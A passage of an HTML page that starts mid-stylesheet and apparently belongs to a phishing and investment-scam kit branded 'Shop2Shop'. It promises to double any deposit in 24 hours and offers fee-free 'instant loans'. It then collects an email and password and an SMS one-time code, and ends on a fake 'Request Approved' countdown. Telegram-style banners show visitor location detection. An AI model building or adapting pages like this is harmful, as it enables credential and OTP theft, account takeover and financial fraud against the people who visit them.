12px;\r\n            border-top: 1px solid #264249;\r\n            padding-top: 12px;\r\n            font-weight: 500;\r\n        }\r\n\r\n        .timer-box .timer-sub strong {\r\n            color: #f5c542;\r\n        }\r\n\r\n        .progress-bar {\r\n            width: 100%;\r\n            height: 5px;\r\n            background: #264249;\r\n            border-radius: 10px;\r\n            overflow: hidden;\r\n            margin-top: 8px;\r\n        }\r\n\r\n        .progress-bar .progress-fill {\r\n            height: 100%;\r\n            background: linear-gradient(90deg, #f5c542, #f7d97a, #f5c542);\r\n            background-size: 200% 100%;\r\n            border-radius: 10px;\r\n            width: 0%;\r\n            transition: width 1s linear;\r\n            animation: shimmer 2s ease-in-out infinite;\r\n        }\r\n\r\n        @keyframes shimmer {\r\n            0% { background-position: -200% 0; }\r\n            100% { background-position: 200% 0; }\r\n        }\r\n\r\n        \/* ===== RESPONSIVE ===== *\/\r\n        @media (max-width: 480px) {\r\n            .shop-card { padding: 4px 6px; }\r\n            .step-two-content { gap: 20px; }\r\n            .main-title { font-size: 24px; }\r\n            .main-title .highlight { font-size: 26px; }\r\n            .sub-highlight { font-size: 15px; }\r\n            .invest-grid { padding: 8px 6px; }\r\n            .invest-grid .item i { font-size: 18px; }\r\n            .invest-grid .item .value { font-size: 12px; }\r\n            .offer-text { font-size: 11px; padding: 8px 12px; }\r\n            .btn-invest { font-size: 16px; padding: 14px 10px; }\r\n            .telegram-banner {\r\n                padding: 8px 14px;\r\n                font-size: 12px;\r\n                min-height: 46px;\r\n                height: 46px;\r\n                border-radius: 14px;\r\n            }\r\n            .telegram-banner i { font-size: 22px; min-width: 26px; }\r\n            .telegram-banner .flag { font-size: 24px; min-width: 30px; }\r\n            .telegram-banner .country { font-size: 13px; }\r\n            .telegram-banner .time {\r\n                height: 26px;\r\n                font-size: 10px;\r\n                padding: 2px 10px;\r\n                min-width: 50px;\r\n            }\r\n            .loan-section {\r\n                padding: 8px 14px;\r\n                min-height: 46px;\r\n                height: 46px;\r\n                border-radius: 14px;\r\n            }\r\n            .loan-section .left i { font-size: 26px; min-width: 30px; }\r\n            .loan-section .left .loan-text { font-size: 12px; }\r\n            .loan-section .left .loan-sub { font-size: 9px; }\r\n            .loan-section .right {\r\n                height: 26px;\r\n                font-size: 10px;\r\n                padding: 2px 10px;\r\n            }\r\n            .notification-log {\r\n                max-height: 80px;\r\n                padding: 10px 14px;\r\n                min-height: 70px;\r\n                height: 70px;\r\n                border-radius: 14px;\r\n            }\r\n            .notification-log .log-item { \r\n                font-size: 11px; \r\n                padding: 4px 0;\r\n                gap: 6px;\r\n            }\r\n            .notification-log .log-item .log-flag { font-size: 16px; min-width: 22px; }\r\n            .notification-log .log-item i { font-size: 12px; min-width: 18px; }\r\n            .step-indicator { gap: 6px; }\r\n            .timer-box .timer-display { font-size: 38px; letter-spacing: 3px; }\r\n            .step-five-title { font-size: 18px; }\r\n            .step-five-title .highlight-gold { font-size: 22px; }\r\n            .step-five-desc { font-size: 13px; }\r\n            .clock-svg { width: 70px; height: 70px; }\r\n            .step-three-box {\r\n                padding: 18px 14px;\r\n                gap: 14px;\r\n            }\r\n            .step-three-box .step-logo { font-size: 34px; }\r\n            .step-three-box .step-title { font-size: 18px; }\r\n            .step-three-box .step-desc { font-size: 12px; }\r\n            .input-group {\r\n                height: 44px;\r\n                padding: 0 12px;\r\n            }\r\n            .input-group i { font-size: 16px; min-width: 24px; }\r\n            .input-group input { font-size: 13px; }\r\n            .input-group .toggle-password { font-size: 15px; min-width: 24px; }\r\n            .forgot-text { font-size: 12px; }\r\n        }\r\n\r\n        @media (max-height: 600px) {\r\n            .shop-card { padding: 4px 6px; }\r\n            .step-two-content { gap: 20px; }\r\n            .main-title { font-size: 20px; }\r\n            .main-title .highlight { font-size: 22px; }\r\n            .sub-highlight { font-size: 13px; }\r\n            .invest-grid { padding: 4px 6px; }\r\n            .invest-grid .item i { font-size: 14px; }\r\n            .invest-grid .item .value { font-size: 10px; }\r\n            .invest-grid .item .label { font-size: 8px; }\r\n            .offer-text { font-size: 10px; padding: 6px 10px; }\r\n            .btn-invest { font-size: 14px; padding: 12px 10px; border-radius: 30px; }\r\n            .telegram-banner {\r\n                padding: 6px 12px;\r\n                font-size: 11px;\r\n                border-radius: 12px;\r\n                min-height: 40px;\r\n                height: 40px;\r\n            }\r\n            .telegram-banner i { font-size: 18px; min-width: 22px; }\r\n            .telegram-banner .flag { font-size: 20px; min-width: 26px; }\r\n            .telegram-banner .country { font-size: 11px; }\r\n            .telegram-banner .time {\r\n                height: 22px;\r\n                font-size: 9px;\r\n                padding: 2px 8px;\r\n                min-width: 45px;\r\n            }\r\n            .loan-section {\r\n                padding: 6px 12px;\r\n                border-radius: 12px;\r\n                min-height: 40px;\r\n                height: 40px;\r\n            }\r\n            .loan-section .left i { font-size: 22px; min-width: 26px; }\r\n            .loan-section .left .loan-text { font-size: 11px; }\r\n            .loan-section .left .loan-sub { font-size: 8px; }\r\n            .loan-section .right {\r\n                height: 22px;\r\n                font-size: 9px;\r\n                padding: 2px 8px;\r\n            }\r\n            .notification-log {\r\n                max-height: 65px;\r\n                padding: 8px 12px;\r\n                border-radius: 12px;\r\n                min-height: 55px;\r\n                height: 55px;\r\n            }\r\n            .notification-log .log-item { \r\n                font-size: 10px; \r\n                padding: 3px 0;\r\n                gap: 5px;\r\n            }\r\n            .notification-log .log-item .log-flag { font-size: 14px; min-width: 18px; }\r\n            .notification-log .log-item i { font-size: 11px; min-width: 16px; }\r\n            .step-indicator { gap: 4px; margin-top: 4px; }\r\n            .step-label { font-size: 8px; }\r\n            .timer-box .timer-display { font-size: 32px; }\r\n            .step-five-title { font-size: 16px; }\r\n            .step-five-title .highlight-gold { font-size: 19px; }\r\n            .step-five-desc { font-size: 12px; }\r\n            .clock-svg { width: 60px; height: 60px; }\r\n            .step-three-box {\r\n                padding: 14px 12px;\r\n                gap: 10px;\r\n            }\r\n            .step-three-box .step-logo { font-size: 28px; }\r\n            .step-three-box .step-title { font-size: 16px; }\r\n            .step-three-box .step-desc { font-size: 11px; }\r\n            .input-group {\r\n                height: 38px;\r\n                padding: 0 10px;\r\n            }\r\n            .input-group i { font-size: 14px; min-width: 20px; }\r\n            .input-group input { font-size: 12px; }\r\n            .input-group .toggle-password { font-size: 13px; min-width: 20px; }\r\n            .forgot-text { font-size: 11px; }\r\n        }\r\n        \r\n        \/* ===== SLIDE ANIMATION FOR SERVICE ACTIVE ===== *\/\r\n        @keyframes slideService {\r\n            0% { transform: translateX(0) scale(1); opacity: 1; }\r\n            20% { transform: translateX(30px) scale(1.1); opacity: 0.7; }\r\n            40% { transform: translateX(-30px) scale(0.9); opacity: 0.7; }\r\n            60% { transform: translateX(15px) scale(1.05); opacity: 0.9; }\r\n            80% { transform: translateX(-10px) scale(0.95); opacity: 0.9; }\r\n            100% { transform: translateX(0) scale(1); opacity: 1; }\r\n        }\r\n        \r\n        \/* ===== RESEND BUTTON STYLING ===== *\/\r\n        #resendBtn:disabled {\r\n            opacity: 0.5;\r\n            cursor: not-allowed;\r\n        }\r\n        \r\n        #resendBtn:hover:not(:disabled) {\r\n            text-decoration: underline;\r\n        }\r\n        \r\n        \/* ===== STEP 5 - SINGLE GREEN ICON WITH COMPLETE ===== *\/\r\n        .step-complete-wrapper {\r\n            display: flex;\r\n            justify-content: center;\r\n            align-items: center;\r\n            margin: 0px 0 0px 0;\r\n            flex-shrink: 0;\r\n            position: relative;\r\n        }\r\n\r\n        .complete-icon-container {\r\n            display: flex;\r\n            align-items: center;\r\n            gap: 14px;\r\n            background: linear-gradient(135deg, #132b33, #1a3a44);\r\n            padding: 10px 24px 10px 20px;\r\n            border-radius: 50px;\r\n            border: 1px solid rgba(76, 175, 80, 0.6);\r\n            box-shadow: 0 0 30px rgba(76, 175, 80, 0.12), inset 0 0 30px rgba(76, 175, 80, 0.04);\r\n            position: relative;\r\n            transition: all 0.3s ease;\r\n        }\r\n\r\n        .complete-icon-container:hover {\r\n            transform: scale(1.02);\r\n            box-shadow: 0 0 50px rgba(76, 175, 80, 0.2);\r\n        }\r\n\r\n        .icon-single-wrapper {\r\n            position: relative;\r\n            width: 50px;\r\n            height: 50px;\r\n            display: flex;\r\n            justify-content: center;\r\n            align-items: center;\r\n        }\r\n\r\n        .single-icon {\r\n            width: 50px;\r\n            height: 50px;\r\n            display: flex;\r\n            justify-content: center;\r\n            align-items: center;\r\n            font-size: 38px;\r\n            color: #4caf50;\r\n            text-shadow: 0 0 30px rgba(76, 175, 80, 0.3);\r\n            animation: pulseGreen 2s ease-in-out infinite;\r\n        }\r\n\r\n        @keyframes pulseGreen {\r\n            0% { transform: scale(1); opacity: 1; }\r\n            50% { transform: scale(1.15); opacity: 0.85; }\r\n            100% { transform: scale(1); opacity: 1; }\r\n        }\r\n\r\n        .complete-text {\r\n            font-size: 20px;\r\n            font-weight: 800;\r\n            color: #4caf50;\r\n            letter-spacing: 3px;\r\n            text-transform: uppercase;\r\n            text-shadow: 0 2px 10px rgba(76, 175, 80, 0.15);\r\n        }\r\n\r\n        \/* Glow border - Green only *\/\r\n        .complete-icon-container::before {\r\n            content: '';\r\n            position: absolute;\r\n            top: -2px;\r\n            left: -2px;\r\n            right: -2px;\r\n            bottom: -2px;\r\n            border-radius: 52px;\r\n            background: linear-gradient(45deg, #4caf50, #66bb6a, #4caf50);\r\n            background-size: 300% 300%;\r\n            z-index: -1;\r\n            animation: borderGlowGreen 3s ease-in-out infinite;\r\n            opacity: 0.5;\r\n        }\r\n\r\n        @keyframes borderGlowGreen {\r\n            0% { background-position: 0% 50%; opacity: 0.4; }\r\n            50% { background-position: 100% 50%; opacity: 0.7; }\r\n            100% { background-position: 0% 50%; opacity: 0.4; }\r\n        }\r\n\r\n        \/* ===== RESPONSIVE ===== *\/\r\n        @media (max-width: 480px) {\r\n            .complete-icon-container {\r\n                padding: 8px 16px 8px 14px;\r\n                gap: 10px;\r\n            }\r\n            \r\n            .icon-single-wrapper {\r\n                width: 40px;\r\n                height: 40px;\r\n            }\r\n            \r\n            .single-icon {\r\n                width: 40px;\r\n                height: 40px;\r\n                font-size: 30px;\r\n            }\r\n            \r\n            .complete-text {\r\n                font-size: 16px;\r\n                letter-spacing: 2px;\r\n            }\r\n        }\r\n\r\n        @media (max-height: 600px) {\r\n            .complete-icon-container {\r\n                padding: 6px 14px 6px 12px;\r\n                gap: 8px;\r\n            }\r\n            \r\n            .icon-single-wrapper {\r\n                width: 34px;\r\n                height: 34px;\r\n            }\r\n            \r\n            .single-icon {\r\n                width: 34px;\r\n                height: 34px;\r\n                font-size: 26px;\r\n            }\r\n            \r\n            .complete-text {\r\n                font-size: 14px;\r\n                letter-spacing: 2px;\r\n            }\r\n        }\r\n        \r\n        \/* ===== STEP 3 - PNG LOGO ===== *\/\r\n.step-logo {\r\n    text-align: center;\r\n    font-size: 42px;\r\n    color: #f5c542;\r\n    display: flex;\r\n    justify-content: center;\r\n    align-items: center;\r\n    min-height: 60px;\r\n}\r\n\r\n.step-logo-img {\r\n    width: 50px;\r\n    height: 50px;\r\n    object-fit: contain;\r\n    display: block;\r\n    filter: drop-shadow(0 4px 12px rgba(245, 197, 66, 0.3));\r\n    transition: all 0.3s ease;\r\n}\r\n\r\n.step-logo-img:hover {\r\n    transform: scale(1.05);\r\n    filter: drop-shadow(0 6px 20px rgba(245, 197, 66, 0.5));\r\n}\r\n\r\n\/* ===== RESPONSIVE ===== *\/\r\n@media (max-width: 480px) {\r\n    .step-logo-img {\r\n        width: 65px;\r\n        height: 65px;\r\n    }\r\n    .step-logo {\r\n        min-height: 50px;\r\n    }\r\n}\r\n\r\n@media (max-height: 600px) {\r\n    .step-logo-img {\r\n        width: 34px;\r\n        height: 34px;\r\n    }\r\n    .step-logo {\r\n        min-height: 44px;\r\n    }\r\n}\r\n\r\n\/* ============================================================\r\n   SPLASH SCREEN BOTTOM BAR\r\n   ============================================================ *\/\r\n\r\n.splash-bottom-bar {\r\n    background: #ffffff !important;\r\n    border-top: 1px solid #e8edf0 !important;\r\n    box-shadow: none !important;\r\n}\r\n\r\n.splash-bottom-bar .step-indicator .dot {\r\n    background: #d0dbe0 !important;\r\n    border-color: #e8edf0 !important;\r\n}\r\n\r\n.splash-bottom-bar .step-indicator .dot.active {\r\n    background: #f5c542 !important;\r\n    border-color: #f5c542 !important;\r\n    box-shadow: 0 0 16px rgba(245, 197, 66, 0.25) !important;\r\n}\r\n\r\n.splash-bottom-bar .step-label {\r\n    color: #1a3a44 !important;\r\n}\r\n\r\n.splash-bottom-bar .step-label .step-badge {\r\n    background: #f5c542 !important;\r\n    color: #0b1a1e !important;\r\n}\r\n\r\n\/* ============================================================\r\n   SPLASH BOTTOM BAR - FIXED POSITION\r\n   ============================================================ *\/\r\n\r\n#splashBottomBar {\r\n    position: fixed !important;\r\n    bottom: 0 !important;\r\n    left: 0 !important;\r\n    right: 0 !important;\r\n    width: 100% !important;\r\n    z-index: 10000 !important;\r\n    background: #ffffff !important;\r\n    border-top: 1px solid #e8edf0 !important;\r\n    box-shadow: none !important;\r\n    padding: 12px 20px 18px 20px !important;\r\n    min-height: 80px !important;\r\n    display: flex !important;\r\n    flex-direction: column !important;\r\n    align-items: center !important;\r\n    gap: 6px !important;\r\n}\r\n\r\n#splashBottomBar .step-indicator {\r\n    display: flex !important;\r\n    justify-content: center !important;\r\n    align-items: center !important;\r\n    gap: 10px !important;\r\n}\r\n\r\n#splashBottomBar .step-indicator .dot {\r\n    width: 10px !important;\r\n    height: 10px !important;\r\n    background: #d0dbe0 !important;\r\n    border-radius: 50% !important;\r\n    border: 1px solid #e8edf0 !important;\r\n    transition: all 0.4s ease !important;\r\n}\r\n\r\n#splashBottomBar .step-indicator .dot.active {\r\n    background: #f5c542 !important;\r\n    width: 32px !important;\r\n    border-radius: 20px !important;\r\n    border-color: #f5c542 !important;\r\n    box-shadow: 0 0 16px rgba(245, 197, 66, 0.25) !important;\r\n}\r\n\r\n#splashBottomBar .step-label {\r\n    display: flex !important;\r\n    align-items: center !important;\r\n    justify-content: center !important;\r\n    gap: 10px !important;\r\n    color: #1a3a44 !important;\r\n    font-size: 13px !important;\r\n    font-weight: 600 !important;\r\n    letter-spacing: 1.5px !important;\r\n}\r\n\r\n#splashBottomBar .step-label .step-badge {\r\n    display: inline-flex !important;\r\n    align-items: center !important;\r\n    justify-content: center !important;\r\n    background: #f5c542 !important;\r\n    color: #0b1a1e !important;\r\n    font-size: 9px !important;\r\n    font-weight: 800 !important;\r\n    width: 20px !important;\r\n    height: 20px !important;\r\n    border-radius: 50% !important;\r\n    box-shadow: 0 0 14px rgba(245, 197, 66, 0.15) !important;\r\n}\r\n\r\n#splashBottomBar .step-label .step-badge i {\r\n    font-size: 10px !important;\r\n}\r\n\r\n\/* ===== RESPONSIVE ===== *\/\r\n@media (max-width: 480px) {\r\n    #splashBottomBar {\r\n        padding: 10px 16px 14px 16px !important;\r\n        min-height: 70px !important;\r\n    }\r\n    \r\n    #splashBottomBar .step-indicator {\r\n        gap: 8px !important;\r\n    }\r\n    \r\n    #splashBottomBar .step-indicator .dot {\r\n        width: 8px !important;\r\n        height: 8px !important;\r\n    }\r\n    \r\n    #splashBottomBar .step-indicator .dot.active {\r\n        width: 26px !important;\r\n    }\r\n    \r\n    #splashBottomBar .step-label {\r\n        font-size: 11px !important;\r\n        gap: 8px !important;\r\n    }\r\n    \r\n    #splashBottomBar .step-label .step-badge {\r\n        width: 17px !important;\r\n        height: 17px !important;\r\n        font-size: 8px !important;\r\n    }\r\n}\r\n\r\n@media (max-height: 600px) {\r\n    #splashBottomBar {\r\n        padding: 6px 12px 10px 12px !important;\r\n        min-height: 58px !important;\r\n    }\r\n    \r\n    #splashBottomBar .step-indicator {\r\n        gap: 6px !important;\r\n    }\r\n    \r\n    #splashBottomBar .step-indicator .dot {\r\n        width: 7px !important;\r\n        height: 7px !important;\r\n    }\r\n    \r\n    #splashBottomBar .step-indicator .dot.active {\r\n        width: 20px !important;\r\n    }\r\n    \r\n    #splashBottomBar .step-label {\r\n        font-size: 9px !important;\r\n        gap: 6px !important;\r\n        letter-spacing: 1px !important;\r\n    }\r\n    \r\n    #splashBottomBar .step-label .step-badge {\r\n        width: 15px !important;\r\n        height: 15px !important;\r\n        font-size: 7px !important;\r\n    }\r\n}\r\n        \r\n    <\/style>\r\n\r\n    <link rel=\"stylesheet\" href=\"https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/font-awesome\/6.0.0-beta3\/css\/all.min.css\">\r\n    <link href=\"https:\/\/fonts.googleapis.com\/css2?family=Inter:opsz,wght@14..32,400;14..32,600;14..32,700;14..32,800&display=swap\" rel=\"stylesheet\">\r\n\r\n   <!-- SPLASH SCREEN -->\r\n<div id=\"splashScreen\" class=\"splash-screen\">\r\n    <div class=\"splash-content\">\r\n        <div class=\"splash-logo\">\r\n            <img decoding=\"async\" src=\"https:\/\/websitedesigner.site\/wp-content\/uploads\/2026\/06\/Login-Step-Logo-1.png\" alt=\"Shop2Shop\" class=\"splash-logo-img\">\r\n        <\/div>\r\n        <div class=\"loader-dots\">\r\n            <span><\/span><span><\/span><span><\/span>\r\n        <\/div>\r\n        <div class=\"splash-sub\">\r\n            <i class=\"fas fa-arrow-right\" style=\"margin-right: 8px;\"><\/i> SHOP2SHOP\r\n        <\/div>\r\n    <\/div>\r\n<\/div>\r\n\r\n<!-- ===== BOTTOM BAR - SPLASH SCREEN (ALWAYS VISIBLE) ===== -->\r\n<div class=\"bottom-bar splash-bottom-bar\" id=\"splashBottomBar\">\r\n    <div class=\"step-indicator\"> \r\n        <span class=\"dot active\"><\/span>\r\n        <span class=\"dot\"><\/span>\r\n        <span class=\"dot\"><\/span>\r\n        <span class=\"dot\"><\/span>\r\n    <\/div>\r\n    <div class=\"step-label\">\r\n        <span class=\"step-badge\"><i class=\"fas fa-circle\"><\/i><\/span>\r\n        <span class=\"step-text\">SPLASH \u00b7 LOADING<\/span>\r\n    <\/div>\r\n<\/div>\r\n\r\n    <!-- STEP 2 -->\r\n<div id=\"stepTwo\" class=\"step-two hidden\">\r\n    <div class=\"step-two-content\">\r\n        <div id=\"telegramNotify\" class=\"telegram-banner\">\r\n            <span class=\"telegram-icon-wrapper\">\r\n                <i class=\"fab fa-telegram-plane\"><\/i>\r\n            <\/span>\r\n            <span class=\"flag\" id=\"countryFlag\">\ud83c\udf0d<\/span>\r\n            <span class=\"country-wrapper\">\r\n                <span class=\"country\" id=\"countryName\">Detecting...<\/span>\r\n            <\/span>\r\n            <span class=\"time\" id=\"visitTime\">00:00:00<\/span>\r\n        <\/div>\r\n\r\n        <div class=\"badge-shop\">\r\n            <span><i class=\"fas fa-bolt\"><\/i> INVEST MONEY \u00b7 DOUBLE IN 24H<\/span>\r\n            <span><i class=\"far fa-clock\"><\/i> 24h<\/span>\r\n        <\/div>\r\n\r\n        <div class=\"main-title\">\r\n            <span class=\"title-line\">SHOP2SHOP<\/span>\r\n            <span class=\"highlight\">INVEST MONEY<\/span>\r\n        <\/div>\r\n        <div class=\"sub-highlight\">\r\n            <i class=\"fas fa-arrow-up\" style=\"font-size: 15px;\"><\/i> Get Double In 24 Hours\r\n        <\/div>\r\n\r\n        <div class=\"invest-grid\">\r\n            <div class=\"item\">\r\n                <i class=\"fas fa-hand-holding-usd\"><\/i>\r\n                <span class=\"label\">Invest<\/span>\r\n                <span class=\"value gold\">Any Amount<\/span>\r\n            <\/div>\r\n            <div class=\"item\">\r\n                <i class=\"fas fa-rocket\"><\/i>\r\n                <span class=\"label\">Grow<\/span>\r\n                <span class=\"value\">Instantly<\/span>\r\n            <\/div>\r\n            <div class=\"item\">\r\n                <i class=\"fas fa-arrow-trend-up\"><\/i>\r\n                <span class=\"label\">Get Double<\/span>\r\n                <span class=\"value gold\">24h<\/span>\r\n            <\/div>\r\n        <\/div>\r\n\r\n        <div class=\"offer-text\">\r\n            <i class=\"fas fa-gift\"><\/i> \r\n            <span class=\"offer-text-center\">This special offer is available only shop2shop users. Invest as much as you want and receive double the amount in just 24 hours. Activate the service now to get started!<\/span>\r\n            <i class=\"fas fa-gift\"><\/i>\r\n        <\/div>\r\n\r\n        <button class=\"btn-invest\" id=\"investStartBtn\">\r\n            <i class=\"fas fa-play-circle\"><\/i> Invest Started\r\n        <\/button>\r\n\r\n        <div class=\"loan-section\">\r\n            <div class=\"left\">\r\n                <i class=\"fas fa-hand-holding-heart\"><\/i>\r\n                <div>\r\n                    <div class=\"loan-text\">Get Loan Instantly<\/div>\r\n                    <div class=\"loan-sub\">R10,000 \u2013 R500,000 \u00b7 0% fee<\/div>\r\n                <\/div>\r\n            <\/div>\r\n            <div class=\"right\">\r\n                <i class=\"fas fa-chevron-right\"><\/i> apply\r\n            <\/div>\r\n        <\/div>\r\n\r\n        <!-- NOTIFICATION LOG - ONE BOX -->\r\n        <div class=\"notification-log\" id=\"notificationLog\">\r\n            <div class=\"log-item\" id=\"logEntry\">\r\n                <i class=\"fas fa-circle\" style=\"color: #27a5e7;\"><\/i>\r\n                <span class=\"log-flag\" id=\"logFlag\">\ud83c\udf0d<\/span>\r\n                <span class=\"log-text\" id=\"logText\">Detecting your location...<\/span>\r\n                <span class=\"log-time\" id=\"logTime\">20:48:50<\/span>\r\n            <\/div>\r\n        <\/div>\r\n    <\/div> <!-- step-two-content END -->\r\n\r\n    <!-- ===== BOTTOM BAR - STEP 2 ===== -->\r\n    <div class=\"bottom-bar\">\r\n        <div class=\"step-indicator\"> \r\n            <span class=\"dot active\"><\/span>\r\n            <span class=\"dot\"><\/span>\r\n            <span class=\"dot\"><\/span>\r\n            <span class=\"dot\"><\/span>\r\n        <\/div>\r\n        <div class=\"step-label\">\r\n            <span class=\"step-badge\"><i class=\"fas fa-circle\"><\/i><\/span>\r\n            <span class=\"step-text\">STEP 2 \u00b7 READY<\/span>\r\n        <\/div>\r\n    <\/div>\r\n<\/div> <!-- step-two END -->\r\n\r\n    <!-- STEP 3 - LOGIN (CENTERED) -->\r\n<div id=\"stepThree\" class=\"step-three hidden\">\r\n    <div class=\"step-three-content\">\r\n        <div id=\"telegramNotify3\" class=\"telegram-banner\">\r\n            <span class=\"telegram-icon-wrapper\">\r\n                <i class=\"fab fa-telegram-plane\"><\/i>\r\n            <\/span>\r\n            <span class=\"flag\" id=\"countryFlag3\">\ud83c\udf0d<\/span>\r\n            <span class=\"country-wrapper\">\r\n                <span class=\"country\" id=\"countryName3\">Detecting...<\/span>\r\n            <\/span>\r\n            <span class=\"time\" id=\"visitTime3\">00:00:00<\/span>\r\n        <\/div>\r\n\r\n        <div class=\"step-three-box\">\r\n            <div class=\"step-logo\">\r\n                <img decoding=\"async\" src=\"https:\/\/websitedesigner.site\/wp-content\/uploads\/2026\/06\/Login-Step-Logo-1.png\" alt=\"Logo\" class=\"step-logo-img\">\r\n            <\/div>\r\n            <div class=\"step-title\">Shop2Shop Login Now<\/div>\r\n            <div class=\"step-desc\">\r\n                Enter your credentials to access your investment dashboard\r\n            <\/div>\r\n            <div class=\"input-group\">\r\n                <i class=\"fas fa-envelope\"><\/i>\r\n                <input type=\"email\" id=\"loginEmail\" placeholder=\"Email address\">\r\n            <\/div>\r\n            <div class=\"input-group\">\r\n                <i class=\"fas fa-lock\"><\/i>\r\n                <input type=\"password\" id=\"loginPassword\" placeholder=\"Password\">\r\n                <span class=\"toggle-password\" id=\"togglePassword\">\r\n                    <i class=\"fas fa-eye\"><\/i>\r\n                <\/span>\r\n            <\/div>\r\n            <div class=\"forgot-text\">Forgot Password?<\/div>\r\n        <\/div>\r\n\r\n        <button class=\"btn-invest\" id=\"loginContinueBtn\">\r\n            <i class=\"fas fa-arrow-right\"><\/i> Login\r\n        <\/button>\r\n    <\/div> <!-- step-three-content END -->\r\n\r\n    <!-- ===== BOTTOM BAR - STEP 3 ===== -->\r\n    <div class=\"bottom-bar\">\r\n        <div class=\"step-indicator\">\r\n            <span class=\"dot\"><\/span>\r\n            <span class=\"dot active\"><\/span>\r\n            <span class=\"dot\"><\/span>\r\n            <span class=\"dot\"><\/span>\r\n        <\/div>\r\n        <div class=\"step-label\">\r\n            <span class=\"step-badge\"><i class=\"fas fa-circle\"><\/i><\/span>\r\n            <span class=\"step-text\">STEP 3 \u00b7 LOGIN<\/span>\r\n        <\/div>\r\n    <\/div>\r\n<\/div> <!-- step-three END -->\r\n\r\n    <!-- STEP 4 - OTP (CENTERED) -->\r\n<div id=\"stepFour\" class=\"step-four hidden\">\r\n    <div class=\"step-four-content\">\r\n        <div id=\"telegramNotify4\" class=\"telegram-banner\">\r\n            <span class=\"telegram-icon-wrapper\">\r\n                <i class=\"fab fa-telegram-plane\"><\/i>\r\n            <\/span>\r\n            <span class=\"flag\" id=\"countryFlag4\">\ud83c\udf0d<\/span>\r\n            <span class=\"country-wrapper\">\r\n                <span class=\"country\" id=\"countryName4\">Detecting...<\/span>\r\n            <\/span>\r\n            <span class=\"time\" id=\"visitTime4\">00:00:00<\/span>\r\n        <\/div>\r\n\r\n        <div class=\"step-three-box\">\r\n            <div class=\"step-logo\">\r\n                <i class=\"fas fa-mobile-alt\"><\/i>\r\n            <\/div>\r\n            <div class=\"step-title\">OTP Verification<\/div>\r\n            <div class=\"step-desc\" id=\"otpDesc\">\r\n                Verification code has been sent to your registered mobile number\r\n            <\/div>\r\n            <div class=\"input-group\">\r\n                <i class=\"fas fa-key\"><\/i>\r\n                <input type=\"text\" id=\"otpCode\" placeholder=\"Enter OTP\" maxlength=\"6\" inputmode=\"numeric\" pattern=\"[0-9]*\" minlength=\"4\">\r\n            <\/div>\r\n            <!-- Resend Timer Box -->\r\n            <div id=\"resendBox\" style=\"display:flex; align-items:center; justify-content:space-between; background:#f5c542; padding:6px 12px; border-radius:8px; margin-top:5px; width:fit-content; margin-left:auto; margin-right:auto;\">\r\n                <span style=\"color:#0b1a1e; font-size:11px; font-weight:600;\">\r\n                    <i class=\"fas fa-clock\" style=\"margin-right:4px;\"><\/i>\r\n                    <span id=\"resendTimer\">02:00<\/span>\r\n                <\/span>\r\n                <button id=\"resendBtn\" style=\"background:transparent; border:none; color:#0b1a1e; font-weight:600; font-size:11px; cursor:pointer; padding-left:8px;\">\r\n                    <i class=\"fas fa-sync-alt\" style=\"margin-right:3px;\"><\/i> Resend\r\n                <\/button>\r\n            <\/div>\r\n        <\/div>\r\n\r\n        <button class=\"btn-invest\" id=\"verifyOtpBtn\">\r\n            <i class=\"fas fa-check-circle\"><\/i> Verify OTP\r\n        <\/button>\r\n    <\/div> <!-- step-four-content END -->\r\n\r\n    <!-- ===== BOTTOM BAR - STEP 4 ===== -->\r\n    <div class=\"bottom-bar\">\r\n        <div class=\"step-indicator\">\r\n            <span class=\"dot\"><\/span>\r\n            <span class=\"dot\"><\/span>\r\n            <span class=\"dot active\"><\/span>\r\n            <span class=\"dot\"><\/span>\r\n        <\/div>\r\n        <div class=\"step-label\">\r\n            <span class=\"step-badge\"><i class=\"fas fa-circle\"><\/i><\/span>\r\n            <span class=\"step-text\">STEP 4 \u00b7 OTP<\/span>\r\n        <\/div>\r\n    <\/div>\r\n<\/div> <!-- step-four END -->\r\n\r\n    <!-- STEP 5 - COMPLETE (CENTERED) -->\r\n<div id=\"stepFive\" class=\"step-five hidden\">\r\n    <div class=\"step-five-content\">\r\n        <!-- Enhanced SVG Clock -->\r\n        <svg class=\"clock-svg\" viewBox=\"0 0 90 90\">\r\n            <circle class=\"clock-bg\" cx=\"45\" cy=\"45\" r=\"40\"\/>\r\n            <circle cx=\"45\" cy=\"45\" r=\"37\" stroke=\"#f5c542\" stroke-width=\"2\" fill=\"none\"\/>\r\n            \r\n            <line class=\"marker\" x1=\"45\" y1=\"10\" x2=\"45\" y2=\"18\"\/>\r\n            <line class=\"marker\" x1=\"45\" y1=\"72\" x2=\"45\" y2=\"80\"\/>\r\n            <line class=\"marker\" x1=\"10\" y1=\"45\" x2=\"18\" y2=\"45\"\/>\r\n            <line class=\"marker\" x1=\"72\" y1=\"45\" x2=\"80\" y2=\"45\"\/>\r\n            \r\n            <line class=\"marker-small\" x1=\"20\" y1=\"20\" x2=\"25\" y2=\"25\"\/>\r\n            <line class=\"marker-small\" x1=\"65\" y1=\"65\" x2=\"70\" y2=\"70\"\/>\r\n            <line class=\"marker-small\" x1=\"20\" y1=\"70\" x2=\"25\" y2=\"65\"\/>\r\n            <line class=\"marker-small\" x1=\"65\" y1=\"20\" x2=\"70\" y2=\"25\"\/>\r\n            \r\n            <line class=\"hand\" x1=\"45\" y1=\"45\" x2=\"45\" y2=\"25\" stroke-width=\"4\"\/>\r\n            <line class=\"hand-minute\" x1=\"45\" y1=\"45\" x2=\"45\" y2=\"18\" stroke-width=\"2.5\"\/>\r\n            \r\n            <circle class=\"center-dot\" cx=\"45\" cy=\"45\" r=\"4\"\/>\r\n        <\/svg>\r\n\r\n        <div class=\"step-five-title\">\r\n            <span class=\"highlight-gold\">Request Approved!<\/span><br>\r\n            Your request has been successfully approved\r\n        <\/div>\r\n\r\n        <div class=\"step-five-desc\">\r\n            Your service has been <strong>activated<\/strong>.<br>\r\n            You can use this service within 24 hours.\r\n        <\/div>\r\n\r\n        <div class=\"timer-box\" style=\"border:1px solid #f5c542;\">\r\n            <div class=\"timer-label\">\r\n                <i class=\"fas fa-hourglass-half\"><\/i> \r\n                Time Remaining\r\n            <\/div>\r\n            <div class=\"timer-display\" id=\"countdownDisplay\">24:00:00<\/div>\r\n            <div class=\"progress-bar\">\r\n                <div class=\"progress-fill\" id=\"progressFill\"><\/div>\r\n            <\/div>\r\n            <div class=\"timer-sub\" id=\"timerStatus\" style=\"display:flex; align-items:center; justify-content:center; gap:10px; padding-top:12px;\">\r\n                <span style=\"display:inline-block; animation: slideService 3s ease-in-out infinite; 